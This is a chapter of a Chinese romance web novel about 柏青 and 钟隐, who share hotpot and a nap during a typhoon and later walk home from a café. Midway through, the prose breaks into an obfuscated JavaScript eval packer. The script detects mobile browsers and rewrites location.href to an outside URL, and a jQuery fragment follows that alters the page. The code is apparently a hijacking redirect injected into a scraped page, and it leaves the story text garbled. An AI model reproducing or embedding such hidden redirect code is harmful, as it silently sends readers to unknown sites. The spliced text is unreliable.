窗外天摇地动,仿若世界末日。
吃完火锅,柏青本想溜达到窗边,看一看台风肆虐的景象,他就这么点儿爱好,容易对自然界难得的奇景入迷。
但钟隐叫住他,喊他一道去收拾锅子。
“你的意思是,让我洗碗?”柏青嘴角抽搐,不可置信地问。
问完他就后悔了,钟隐刚支使他洗菜,这会儿洗碗洗锅可再正常不过。
钟隐被他问住了,似乎想起来什么,艰难地回答:“你……您不想洗也可以不洗。”
好,他这是想起来自己被包.养的身份了,这没什么不好。
但柏青看钟隐蹙眉的表情,不免有点心疼,他忽然就责怪自己为什么忽然提这茬。
“我不怎么会洗,”柏青撇嘴装可怜,“你得教教我。”
钟隐眉头舒展了,“本来就是想和你一块洗。”
这话说的,有点暧昧哦。
柏青还没来得及享受,先被锅底厚厚的红油吓退。
“下次……我们只吃清汤锅吧。”柏青提议。
“可是我喜欢红油。”钟隐说。
柏青只好再次让步,真奇怪,他又不是什么软骨头,为着钟隐一而再再而三地退让,非但没有憋屈,反而有点乐在其中。
钟隐是个有魔力的人。
柏青刚喝完两杯钟隐亲手泡的菊花茶,消解了腹中油腻,打算拽着钟隐到窗边,同他一道赏景。
但钟隐只是收拾了身前的杯碟,一本正经地告诉柏青:“我要午睡了。”
“你不是不午睡吗?”柏青记得一清二楚。
钟隐再次面露难色:“正式上班后,总感觉睡不够。”
柏青忍俊不禁,他没有笑话钟隐的意思,只是钟隐说话这劲儿,让他没办法憋住笑。
“需要我陪你午睡吗?”柏青礼貌发问。
钟隐犹豫了会儿,“你不想睡不用勉强。”
我还非就勉强了。
柏青躺在了钟隐旁边,这是他们日常一块睡的姿势,俩人并排躺着,像两根体形不一的筷子,莫名其妙凑成了一对。
先前柏青没觉得有什么不对,上床之后,你睡你的我睡我的,而且他俩都不打呼噜踢被子,是彼此互不打扰的好床伴。
可能是因为这会儿没什么睡意,柏青翻来覆去地烙了会儿煎饼,每一个姿势的终点,都是侧身面对着钟隐。
卧室拉着厚窗帘,没有开灯,柏青睁着猫一般的眼睛,仔细地描摹出钟隐侧脸的轮廓。
和亲吻时将面颊细小的绒毛看清不同,和平时径直望进那双灰眼睛也不同,柏青此时只能朦朦胧胧地辨认出钟隐五官大致的位置,这样的钟隐,于他而言有些陌生。
视线受了阻碍,听觉变得更为敏锐,他听见钟隐轻微的呼吸,起伏了几个来回,那种陌生逐渐消失,他忽然感觉到自己更了解钟隐。
趁着这样一股劲儿,柏青伸手放在了钟隐胸口,摸索了一会儿,才找准心口的位置。
“扑通扑通”,是平稳有力的,是温热鲜活的。
柏青忍不住更僭越了些,他伸长胳膊,将熟睡的钟隐整个捞入怀中。
钟隐比他娇小许多,柏青感觉到自己搂住钟隐,像是把钟隐镶嵌进了身体。
其实这样也不算什么僭越吧,他们都一块泡过澡,亲也亲了、抱也抱了,那个晚上还差点……眼下只是调整了一个睡姿而已,不用大惊小怪。
柏青肯定不能抱着钟隐睡啊,这一觉睡醒可不得腰酸背痛,只是抱一会儿,一会儿。
一会儿,柏青上下眼皮打架,他们身上还有刚才火锅的味道,还有菊花茶的味道,混杂在一起不算好闻,但柏青很踏实。
等睡醒了再和钟隐一块泡澡,他会多倒一些入浴剂,搓出漫过整个浴缸的泡泡,把钟隐堆成一个雪人。
柏青睡着了,外边的风雨是很好的白噪音,而怀中的钟隐是熨帖的热水袋。
岭南地区也会需要热水袋,在年末冬不冬夏不夏的时节,一场两场冷雨过后,水淋淋的冷空气会顺着裤管衣袖钻进身体,纵使铁打的人也会生锈。
显然迎来台风的八月,远远还没到热水袋出场的时候,哪怕房间里冷气开得足,柏青还是被热出一脑门的汗。
他醒过来,热汗淋漓,腰酸背痛。
趴在他胸口睡着的钟隐动了动。
“啊,早上好。”钟隐迷迷糊糊地说。
柏青声音发哑:“应该说晚上好了。”
他没有很气恼,在钟隐摸索着起身的瞬间,将人后脑勺兜住,不耐且急切地跟钟隐嗑了一个吻。
也许是睡热了,心口烧。
他和着血腥味吻了一会儿,那团火仍然没有被浇灭。
*
“我看天气预报说,下一周有台风登陆。”
钟隐下午五点准时下班,但跟他的好同事们依依道别了会儿,他和柏青五点过五分才踏出咖啡店大门。
柏青蹩脚地转移钟隐的注意力,用俗套的天气开头。
“不严重的话,我肯定要正常上班。”钟隐听出了柏青的小心思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532550|186411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柏青心虚地望天,天上烧着晚霞,“我没有盼望你放台风假的意思。”
这太欲盖弥彰,钟隐抬手,拨了拨他耳边的坠子。
柏青这回换上了一粒翠色的猫眼石,表面泛着虹膜般的光晕,钟隐说和他眼睛很配。
“咱俩这些年,差不多都在台风季团聚。”钟隐说。
他顿了顿,又说:“有两年不是。”
柏青自觉岔开话题:“台风季,正好赶上我们都有空闲。”
钟隐顺势翻起了旧账:“我记得有年正刮台风,你还故意把阳台门打开,把一屋子差点吹成废墟。”
“那是第一年?”柏青装傻。
“就是第一年。”钟隐肯定他,“只有第一年我们的住处有阳台。”
因为那年,钟隐还住在柏青学校附近的大平层。
“之后就委屈你了,陪我到处搬家,住一室半厅的出租屋。”
柏青勾住了钟隐的手,钟隐下意识地想甩开。
“干嘛?”柏青故意瞪他。
钟隐松了劲儿,“还在外边呢。”
柏青扣紧了钟隐的手,“你再啰嗦,我就牵你的手回咖啡店。”
“不是这意思。”钟隐嘀咕着,把自己嘀咕糊涂了。
其实他心里就是这意思,嘴上不承认,但柏青牵他的手,他也没撒开。
“别提委屈不委屈的,我不爱听,你也不爱听。”柏青说。
“我没有委屈。”钟隐还嘴硬,“我要真受委屈,肯定马上就跑。”
“那年你没跑。”柏青闷声闷气地说。
“哪年?”钟隐又装记性不好了。
柏青不跟钟隐掰扯,掰扯起来没完,他还想着和钟隐一块逛附近新开的生鲜超市。
虽然钟隐更钟爱菜市场,但社区群里有发超市的优惠券,此人抱着有便宜不占白不占的心理,一大早就跟柏青说起。
“你不提我还真忘了。”钟隐由衷地说,“它那优惠券好像全场打折,可惜今天去晚了,早点儿还能买些新鲜水果呢。”
“新鲜水果还是相信张姐严选吧。”柏青哄他,“你要哪天不上她店里买水果,她见着我都得叨叨。”
“哇,她竟然认识你。”钟隐又开始发挥他拙劣的演技,夸张地赞叹道,“你们就见过一两次吧。”
柏青受用地顺坡下:“我这人长相辨识度高,人见一面就能记得住。”
“这话说的没错。”钟隐笑。
柏青后知后觉:好嘛,这话倒是说进某一见钟情者心坎里了。